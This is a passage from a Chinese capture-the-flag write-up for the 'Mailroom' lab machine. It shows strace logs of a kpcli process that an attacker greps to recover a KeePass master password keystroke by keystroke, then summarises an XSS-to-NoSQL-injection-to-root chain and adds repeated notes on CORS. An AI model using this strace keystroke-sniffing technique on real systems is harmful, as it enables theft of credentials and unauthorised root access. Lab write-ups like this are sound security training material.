read(3, "l", 1)                         = 1
read(3, "s", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "R", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "
", 1)                        = 1
read(3, "s", 1)                         = 1
read(3, "h", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "w", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "-", 1)                         = 1
read(3, "f", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "0", 1)                         = 1
read(3, "
", 1)                        = 1
read(3, "q", 1)                         = 1
read(3, "u", 1)                         = 1
read(3, "i", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "
", 1)                        = 1
read(7, "# NOTE: Derived from blib/lib/Te"..., 8192) = 665
read(7, "", 8192)                       = 0
+++ exited with 0 +++

因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入

matthew@mailroom:~$ cat log.txt | grep "read(0" | grep " 1"
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "10", 8192)                    = 1
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1
read(0, "
", 8192)                     = 1
matthew@mailroom:~$


matthew@mailroom:~$ cat readlog.txt  | grep "read(0" | grep " = 1"
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "10", 8192)                    = 1
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1
read(0, "
", 8192)                     = 1

在这里10 模拟了删除的操作,对照 ascii 表 8进制可以看到

-_- 终极坑点 半天也没有想到 感谢 前辈

Refer:ASCII Chart (daleswanson.org)

在这里插入图片描述

key

key 密码:!sEcUr3p4$$w0rd9

在这里插入图片描述

最后复制root acc 拿到root权限

总结

本靶机还是一个十分有挑战性的靶机,首先突破点依旧是80端口,但是遇到我少见的利用xss来进行进一步的渗透

信息收集子域名,子域名的爆破还是十分重要的 和我们日常的渗透测试也一样

通过xss -> nosql注入 -> 拿到tristan ssh 密码 - > 拿到容器的shell ,寻找敏感信息 -> 成功拿到用户 matthew 的credentials

-> 收集信息 当前用户目录下 kdbx文件 keePass 软件可以进行查看 但是需要 key -> 通过 strace 查看 kpcli 进程的系统调用

分析系统调用 拿到 key - > root

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k94LsiIJ-1682784542739)(Mailroom.assets/image-20230420180918324.png)]

CORS

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests

同源策略,就是为了安全性来设计的

比如存在两个域名 http://a.com 和 http://b.com

http://a.com 向 http://b.com 发起 image css script 等内容的时候是不会触发同源策略不会拦截的

但是当 http://a.com 向 http://b.com 发起ajax请求的时候是会触发同源策略被浏览器拦截的

但是有时候我们又不得不有这样的需求 ,同源策略就是来解决这个问题的

基本的思想就是:在服务端你可以指定你想要同意发起请求的域名,比如http://a.com向http://b.com发起请求后,http://b.com 在收到请求的时候 给响应包中添加 Access-Control-Allow-Origin:"*"http头信息表示允许所有的域名来请求,浏览器解析响应的时候,看见带有这个头就不会拦截响应了

Requests with credentials

The most interesting capability exposed by both XMLHttpRequest or Fetch and CORS is the ability to make “credentialed” requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-origin XMLHttpRequest or Fetch invocations, browsers will not send credentials. A specific flag has to be set on the XMLHttpRequest object or the Request constructor when it is invoked.

默认使用 xmlHttpRequest 或者 Fetch 发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials 设置为true的时候才会携带身份认证信息

If a request includes a credential (most commonly a Cookie header) and the response includes an Access-Control-Allow-Origin: * header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.

如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error

But if a request does include a credential (like the Cookie header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com), then the browser will allow access to the response from the specified origin.

如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是并不是使用通配符的方式,而是具体的schem://domain:port,浏览器会将会正常通过

Also note that any Set-Cookie response header in a response would not set a cookie if the Access-Control-Allow-Origin value in that response is the “*” wildcard rather an actual origin.

如果在响应头里面存在Set-Cookie 但是 Access-Control-Allow-Origin是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效

xmlHttpRequest 或者 Fetch 发起请求的时候是不会携带身份信息的,只有当请求头中 Request with credentials 设置为true的时候才会携带身份认证信息

If a request includes a credential (most commonly a Cookie header) and the response includes an Access-Control-Allow-Origin: * header (that is, with the wildcard), the browser will block access to the response, and report a CORS error in the devtools console.

如果一个请求带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是使用通配符的方式,浏览器会拦截响应并且爆出 CORS Error

But if a request does include a credential (like the Cookie header) and the response includes an actual origin rather than the wildcard (like, for example, Access-Control-Allow-Origin: https://example.com), then the browser will allow access to the response from the specified origin.

如果一个请求确实带了cookie 等认证信息,但是返回的Access-Control-Allow-Origin的头是并不是使用通配符的方式,而是具体的schem://domain:port,浏览器会将会正常通过

Also note that any Set-Cookie response header in a response would not set a cookie if the Access-Control-Allow-Origin value in that response is the “*” wildcard rather an actual origin.

如果在响应头里面存在Set-Cookie 但是 Access-Control-Allow-Origin是通配符 * 而不是一个实际的值,那么set cookie 的操作也不会生效

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。